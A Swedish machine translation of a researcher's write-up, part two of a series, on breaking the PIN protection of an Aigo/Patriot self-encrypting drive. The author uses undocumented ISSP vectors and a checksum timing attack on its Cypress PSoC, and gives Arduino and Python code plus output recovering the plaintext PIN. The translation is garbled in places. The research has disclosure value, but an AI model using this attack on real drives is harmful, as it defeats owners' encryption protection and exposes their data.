Backa och hacka Aigo självkrypterande extern hårddisk. Del 2: Ta en dumpning från Cypress PSoC

Detta är den andra och sista delen av artikeln om att hacka externa självkrypterande enheter. Låt mig påminna dig om att en kollega nyligen tog med mig en Patriot (Aigo) SK8671-hårddisk, och jag bestämde mig för att vända den, och nu delar jag med mig av vad som kom ut ur den. Innan du läser vidare, se till att läsa första delen artikeln.

4. Vi börjar ta en dump från den interna PSoC-flashenheten
5. ISSP-protokoll
– 5.1. Vad är ISSP
– 5.2. Avmystifierande vektorer
– 5.3. Kommunikation med PSoC
– 5.4. Identifiering av on-chip register
– 5.5. Säkerhetsbitar
6. Första (misslyckade) attacken: ROMX
7. Andra attacken: Kaldstövelspårning
– 7.1. Genomförande
– 7.2. Läser resultatet
– 7.3. Flash binär rekonstruktion
– 7.4. Hitta PIN-kodens lagringsadress
– 7.5. Tar en dumpning av block nr 126
– 7.6. PIN-kod återställning
8. Vad händer härnäst?
9. slutsats

Backa och hacka Aigo självkrypterande extern hårddisk. Del 2: Ta en dumpning från Cypress PSoC


4. Vi börjar ta en dump från den interna PSoC-flashenheten

Så allt tyder på (som vi fastställde i [första delen]()) att PIN-koden är lagrad i PSoC:s blixtdjup. Därför måste vi läsa dessa blixtdjup. Framsidan av nödvändigt arbete:

  • ta kontroll över "kommunikation" med mikrokontrollern;
  • hitta ett sätt att kontrollera om denna "kommunikation" är skyddad från läsning från utsidan;
  • hitta ett sätt att kringgå skyddet.

Det finns två ställen där det är vettigt att leta efter en giltig PIN-kod:

  • internt flashminne;
  • SRAM, där pinkoden kan lagras för att jämföras med pinkoden som användaren angett.

När jag blickar framåt kommer jag att notera att jag fortfarande lyckades ta en dumpning av den interna PSoC-flashenheten - kringgå dess säkerhetssystem med en hårdvaraattack som kallas "cold boot tracing" - efter att ha vänt på de odokumenterade funktionerna i ISSP-protokollet. Detta tillät mig att direkt dumpa den faktiska PIN-koden.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Slutlig programkod:

5. ISSP-protokoll

5.1. Vad är ISSP

"Kommunikation" med en mikrokontroller kan betyda olika saker: från "leverantör till leverantör" till interaktion med ett seriellt protokoll (till exempel ICSP för Microchips PIC).

Cypress har ett eget proprietärt protokoll för detta, kallat ISSP (in-system serial programming protocol), som delvis beskrivs i teknisk specifikation. Patent US7185162 ger också lite information. Det finns också en OpenSource-motsvarighet som heter HSSP (vi använder den lite senare). ISSP fungerar enligt följande:

  • starta om PSoC;
  • mata ut det magiska numret till seriedatastiftet på denna PSoC; för att gå in i externt programmeringsläge;
  • skicka kommandon, som är långa bitsträngar som kallas "vektorer".

ISSP-dokumentationen definierar dessa vektorer för endast en liten handfull kommandon:

  • Initiera-1
  • Initiera-2
  • Initiera-3 (3V och 5V alternativ)
  • ID-SETUP
  • LÄS-ID-ORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, där ddddddd=block #
  • BULK RADERING
  • PROGRAM-BLOCK
  • VERIFIERA INSTÄLLNINGEN
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, där DDDDDDDD = data ut, aaaaaa = adress (6 bitar)
  • WRITE-BYTE: 10010aaaaaaddddddd111, där dddddddd = data in, aaaaaa = adress (6 bitar)
  • SÄKER
  • KONTROLLSUMMA-SETUP
  • LÄSKONTROLLSUMMA: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, där DDDDDDDDDDDDDDDD = data ut: enhetskontrollsumma
  • RADERA BLOCK

Till exempel vektorn för Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Alla vektorer har samma längd: 22 bitar. HSSP-dokumentationen har ytterligare information om ISSP: "En ISSP-vektor är inget annat än en bitsekvens som representerar en uppsättning instruktioner."

5.2. Avmystifierande vektorer

Låt oss ta reda på vad som händer här. Till en början antog jag att samma vektorer var råversioner av M8C-instruktioner, men efter att ha kontrollerat denna hypotes upptäckte jag att operationernas opkoder inte stämde.

Sedan googlade jag vektorn ovan och kom över detta en studie där författaren, även om han inte går in på detaljer, ger några användbara tips: ”Varje instruktion börjar med tre bitar som motsvarar en av fyra mnemonics (läs från RAM, skriv till RAM, läs register, skriv register). Sedan finns det 8 adressbitar, följt av 8 databitar (läs eller skriv) och slutligen tre stoppbitar.”

Sedan kunde jag hämta en del mycket användbar information från avsnittet Supervisory ROM (SROM). teknisk manual. SROM är en hårdkodad ROM i PSoC som tillhandahåller verktygsfunktioner (på liknande sätt som Syscall) för programkod som körs i användarutrymmet:

  • 00h:SWBootReset
  • 01h: Läsblock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TabellLäs
  • 07h: Checksumma
  • 08h: Kalibrera0
  • 09h: Kalibrera1

Genom att jämföra vektornamn med SROM-funktioner kan vi mappa de olika operationerna som stöds av detta protokoll till de förväntade SROM-parametrarna. Tack vare detta kan vi avkoda de första tre bitarna av ISSP-vektorer:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

En fullständig förståelse för processer på chip kan dock endast erhållas genom direkt kommunikation med PSoC.

5.3. Kommunikation med PSoC

Eftersom Dirk Petrautsky redan har gjort det portad Cypress HSSP-kod på Arduino, jag använde Arduino Uno för att ansluta till ISSP-kontakten på tangentbordskortet.

Observera att jag under min forskning ändrade Dirks kod ganska mycket. Du kan hitta min modifiering på GitHub: här och motsvarande Python-skript för att kommunicera med Arduino, i mitt arkiv cypress_psoc_tools.

Så med Arduino använde jag först bara de "officiella" vektorerna för "kommunikation". Jag försökte läsa det interna ROM-minnet med kommandot VERIFY. Som väntat kunde jag inte göra detta. Antagligen på grund av att lässkyddsbitar är aktiverade inuti flashenheten.

Sedan skapade jag några av mina egna enkla vektorer för att skriva och läsa minne/register. Observera att vi kan läsa hela SROM även om flashenheten är skyddad!

5.4. Identifiering av on-chip register

Efter att ha tittat på de "demonterade" vektorerna upptäckte jag att enheten använder odokumenterade register (0xF8-0xFA) för att specificera M8C-opkoder, som exekveras direkt, förbi skyddet. Detta gjorde att jag kunde köra olika opkoder som "ADD", "MOV A, X", "PUSH" eller "JMP". Tack vare dem (genom att titta på biverkningarna de har på register) kunde jag avgöra vilka av de odokumenterade registren som faktiskt var vanliga register (A, X, SP och PC).

Som ett resultat ser den "demonterade" koden som genereras av verktyget HSSP_disas.rb ut så här (jag lade till kommentarer för tydlighetens skull):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Säkerhetsbitar

I det här skedet kan jag redan kommunicera med PSoC, men jag har fortfarande inte tillförlitlig information om säkerhetsbitarna på flashenheten. Jag blev mycket förvånad över det faktum att Cypress inte ger användaren av enheten något sätt att kontrollera om skyddet är aktiverat. Jag grävde djupare i Google för att äntligen förstå att HSSP-koden från Cypress uppdaterades efter att Dirk släppte sin modifiering. Och så! Denna nya vektor har dykt upp:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Med denna vektor (se read_security_data i psoc.py) får vi alla säkerhetsbitar i SRAM vid 0x80, där det finns två bitar per skyddat block.

Resultatet är deprimerande: allt är skyddat i läget "inaktivera extern läsning och skrivning". Därför kan vi inte bara läsa något från en flash-enhet, utan vi kan heller inte skriva något (till exempel för att installera en ROM-dumper där). Och det enda sättet att inaktivera skyddet är att helt radera hela chippet. 🙁

6. Första (misslyckade) attacken: ROMX

Vi kan dock prova följande knep: eftersom vi har förmågan att exekvera godtyckliga opkoder, varför inte köra ROMX, som används för att läsa flashminne? Detta tillvägagångssätt har goda chanser att lyckas. Eftersom ReadBlock-funktionen som läser data från SROM (som används av vektorer) kontrollerar om den anropas från ISSP. Emellertid kan ROMX-opkoden inte ha en sådan kontroll. Så här är Python-koden (efter att ha lagt till några hjälpklasser till Arduino-koden):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Tyvärr fungerar inte denna kod. 🙁 Eller rättare sagt det fungerar, men vid utgången får vi våra egna opkoder (0x28 0x30 0x40)! Jag tror inte att motsvarande funktionalitet hos enheten är en del av lässkydd. Detta är mer som ett ingenjörsknep: när externa opkoder körs omdirigeras ROM-bussen till en tillfällig buffert.

7. Andra attacken: Kaldstövelspårning

Eftersom ROMX-tricket inte fungerade började jag fundera på en annan variant av detta trick - beskrivet i publikationen "Skilar för mycket ljus på en mikrokontrollers firmware-skydd".

7.1. Genomförande

ISSP-dokumentationen tillhandahåller följande vektor för CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Detta anropar i huvudsak SROM-funktionen 0x07, som presenteras i dokumentationen (kursivt min):

Denna funktion checksumverifiering. Den beräknar en 16-bitars kontrollsumma av antalet användarspecificerade block i en flashbank, med start från noll. Parametern BLOCKID används för att skicka antalet block som kommer att användas vid beräkning av kontrollsumman. Ett värde på "1" kommer endast att beräkna kontrollsumman för block noll; medan "0" kommer att göra att den totala kontrollsumman för alla 256 block i flashbanken beräknas. 16-bitars kontrollsumman returneras via KEY1 och KEY2. KEY1-parametern lagrar de låga ordningens 8 bitar av kontrollsumman, och KEY2-parametern lagrar de 8 bitarna av hög ordningen. För enheter med flera flashbanker anropas kontrollsummafunktionen för var och en separat. Banknumret som det kommer att arbeta med ställs in av FLS_PR1-registret (genom att ställa in biten i det som motsvarar målflashbanken).

Observera att detta är en enkel kontrollsumma: byte läggs helt enkelt till efter varandra; inga tjusiga CRC egenheter. Dessutom, eftersom jag visste att M8C-kärnan har en mycket liten uppsättning register, antog jag att vid beräkning av kontrollsumman kommer mellanvärden att registreras i samma variabler som i slutändan kommer att gå till utgången: KEY1 (0xF8) / KEY2 ( 0xF9).

Så i teorin ser min attack ut så här:

  1. Vi ansluter via ISSP.
  2. Vi börjar beräkningen av checksumman med vektorn CHECKSUM-SETUP.
  3. Vi startar om processorn efter en angiven tid T.
  4. Vi läser RAM för att få den aktuella kontrollsumman C.
  5. Upprepa steg 3 och 4, öka T lite varje gång.
  6. Vi återställer data från en flash-enhet genom att subtrahera den tidigare kontrollsumman C från den nuvarande.

Det finns dock ett problem: Initialize-1-vektorn som vi måste skicka efter omstart skriver över KEY1 och KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Den här koden skriver över vår värdefulla kontrollsumma genom att anropa Calibrate1 (SROM-funktion 9)... Kanske kan vi bara skicka det magiska numret (från början av koden ovan) för att gå in i programmeringsläge och sedan läsa SRAM? Och ja, det fungerar! Arduino-koden som implementerar denna attack är ganska enkel:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Läs checkum_delay.
  2. Kör kontrollsummaberäkning (send_checksum_v).
  3. Vänta under en viss tidsperiod; med hänsyn till följande fallgropar:
    • Jag slösade bort mycket tid tills jag fick reda på vad det blev fördröjning Mikrosekunder fungerar endast korrekt med fördröjningar som inte överstiger 16383 μs;
    • och sedan återigen dödade samma tid tills jag upptäckte att delayMicroseconds, om 0 skickas till den som ingång, fungerar helt felaktigt!
  4. Starta om PSoC till programmeringsläge (vi skickar bara det magiska numret, utan att skicka initialiseringsvektorer).

Slutlig kod i Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

I ett nötskal, vad den här koden gör:

  1. Startar om PSoC (och skickar ett magiskt nummer).
  2. Skickar fullständiga initieringsvektorer.
  3. Anropar Arduino-funktionen Cmnd_STK_START_CSUM (0x85), där fördröjningen i mikrosekunder skickas som en parameter.
  4. Läser kontrollsumman (0xF8 och 0xF9) och det odokumenterade registret 0xF1.

Denna kod exekveras 10 gånger på 1 mikrosekund. 0xF1 ingår här eftersom det var det enda registret som ändrades vid beräkningen av kontrollsumman. Kanske är det någon form av temporär variabel som används av den aritmetiska logiska enheten. Notera det fula hacket jag använder för att återställa Arduino med picocom när Arduino slutar visa tecken på liv (ingen aning om varför).

7.2. Läser resultatet

Resultatet av Python-skriptet ser ut så här (förenklat för läsbarhet):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Som sagt, vi har ett problem: eftersom vi arbetar med en faktisk kontrollsumma, ändrar inte en nollbyte det avlästa värdet. Men eftersom hela beräkningsproceduren (8192 byte) tar 0,1478 sekunder (med små variationer varje gång den körs), vilket motsvarar ungefär 18,04 μs per byte, kan vi använda denna tid för att kontrollera kontrollsumman vid lämpliga tidpunkter. För de första körningarna läses allt ganska enkelt, eftersom varaktigheten av beräkningsproceduren alltid är nästan densamma. Slutet på denna dumpning är dock mindre exakt eftersom de "mindre tidsavvikelserna" för varje körning blir betydande:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Det är 10 dumpar för varje mikrosekunds fördröjning. Den totala drifttiden för att dumpa alla 8192 byte på en flashenhet är cirka 48 timmar.

7.3. Flash binär rekonstruktion

Jag har ännu inte skrivit koden som helt kommer att rekonstruera programkoden för flashenheten, med hänsyn till alla tidsavvikelser. Jag har dock redan återställt början av den här koden. För att vara säker på att jag gjorde det korrekt tog jag isär det med m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Ser ganska rimligt ut!

7.4. Hitta PIN-kodens lagringsadress

Nu när vi kan läsa kontrollsumman vid de tidpunkter vi behöver kan vi enkelt kontrollera hur och var den ändras när vi:

  • ange fel PIN-kod;
  • ändra pinkoden.

Först, för att hitta den ungefärliga lagringsadressen, tog jag en kontrollsummadump i steg om 10 ms efter en omstart. Sedan skrev jag in fel PIN-kod och gjorde detsamma.

Resultatet blev inte särskilt trevligt, eftersom det var många förändringar. Men till slut kunde jag fastställa att kontrollsumman ändrades någonstans mellan 120000 140000 µs och 0 XNUMX µs fördröjning. Men "pinkoden" som jag visade där var helt felaktig - på grund av en artefakt av delayMicroseconds-proceduren, som gör konstiga saker när XNUMX skickas till den.

Sedan, efter att ha tillbringat nästan 3 timmar, kom jag ihåg att SROM-systemanropet CheckSum får ett argument som indata som anger antalet block för checksumman! Den där. vi kan enkelt lokalisera lagringsadressen för PIN-koden och räknaren för "felaktiga försök", med en noggrannhet på upp till ett 64-byte block.

Mina första körningar gav följande resultat:

Backa och hacka Aigo självkrypterande extern hårddisk. Del 2: Ta en dumpning från Cypress PSoC

Sedan ändrade jag PIN-koden från "123456" till "1234567" och fick:

Backa och hacka Aigo självkrypterande extern hårddisk. Del 2: Ta en dumpning från Cypress PSoC

Således verkar PIN-koden och räknaren för felaktiga försök vara lagrade i block nr 126.

7.5. Tar en dumpning av block nr 126

Block #126 borde vara placerat någonstans runt 125x64x18 = 144000μs, från början av checksummans beräkning, i min fulla dump, och det ser ganska rimligt ut. Sedan, efter att manuellt sålla bort många ogiltiga dumpningar (på grund av ackumuleringen av "mindre tidsavvikelser"), fick jag dessa byte (med en latens på 145527 μs):

Backa och hacka Aigo självkrypterande extern hårddisk. Del 2: Ta en dumpning från Cypress PSoC

Det är ganska uppenbart att PIN-koden lagras i okrypterad form! Dessa värden är naturligtvis inte skrivna i ASCII-koder, men som det visar sig återspeglar de avläsningarna från det kapacitiva tangentbordet.

Slutligen körde jag några fler tester för att hitta var räknaren för dåliga försök var lagrad. Här är resultatet:

Backa och hacka Aigo självkrypterande extern hårddisk. Del 2: Ta en dumpning från Cypress PSoC

0xFF - betyder "15 försök" och det minskar för varje misslyckat försök.

7.6. PIN-kod återställning

Här är min fula kod som sätter ihop ovanstående:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Här är resultatet av dess genomförande:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hurra! Arbetar!

Observera att latensvärdena jag använde sannolikt är relevanta för en specifik PSoC - den jag använde.

8. Vad händer härnäst?

Så låt oss sammanfatta på PSoC-sidan, i samband med vår Aigo-enhet:

  • vi kan läsa SRAM även om det är lässkyddat;
  • Vi kan kringgå anti-swipe-skyddet genom att använda en kallstartspårsattack och direkt läsa av PIN-koden.

Vår attack har dock några brister på grund av synkroniseringsproblem. Det kan förbättras enligt följande:

  • skriva ett verktyg för att korrekt avkoda utdata som erhålls som ett resultat av en "cold boot trace"-attack;
  • använd en FPGA-gadget för att skapa mer exakta tidsfördröjningar (eller använd Arduino-hårdvarutimers);
  • prova en annan attack: ange en avsiktligt felaktig PIN-kod, starta om och dumpa RAM-minnet i hopp om att den korrekta PIN-koden kommer att sparas i RAM-minnet för jämförelse. Detta är dock inte så lätt att göra på Arduino, eftersom Arduinos signalnivå är 5 volt, medan kortet vi undersöker fungerar med 3,3 volts signaler.

En intressant sak som skulle kunna testas är att leka med spänningsnivån för att kringgå lässkyddet. Om detta tillvägagångssätt fungerade skulle vi kunna få absolut exakta data från flashenheten - istället för att lita på att läsa en kontrollsumma med oprecisa tidsfördröjningar.

Eftersom SROM förmodligen läser guard-bitarna via ReadBlock-systemanropet, skulle vi kunna göra samma sak som beskrivs på Dmitry Nedospasovs blogg - en omimplementering av Chris Gerlinskis attack, tillkännagav vid konferensen "REcon Bryssel 2017".

En annan rolig sak som kan göras är att slipa bort fodralet från chippet: att ta en SRAM-dump, identifiera odokumenterade systemanrop och sårbarheter.

9. slutsats

Så, skyddet av denna enhet lämnar mycket övrigt att önska, eftersom den använder en vanlig (inte "härdad") mikrokontroller för att lagra PIN-koden... Dessutom har jag inte tittat (än) på hur det går med data kryptering på den här enheten!

Vad kan du rekommendera för Aigo? Efter att ha analyserat ett par modeller av krypterade hårddiskar gjorde jag 2015 presentation på SyScan, där han undersökte säkerhetsproblemen för flera externa hårddiskar, och gav rekommendationer om vad som kunde förbättras i dem. 🙂

Jag tillbringade två helger och flera kvällar med att göra denna forskning. Totalt ca 40 timmar. Räknar från början (när jag öppnade skivan) till slutet (PIN-koddump). Samma 40 timmar inkluderar den tid jag ägnade åt att skriva den här artikeln. Det var en mycket spännande resa.

Källa: will.com

Lägg en kommentar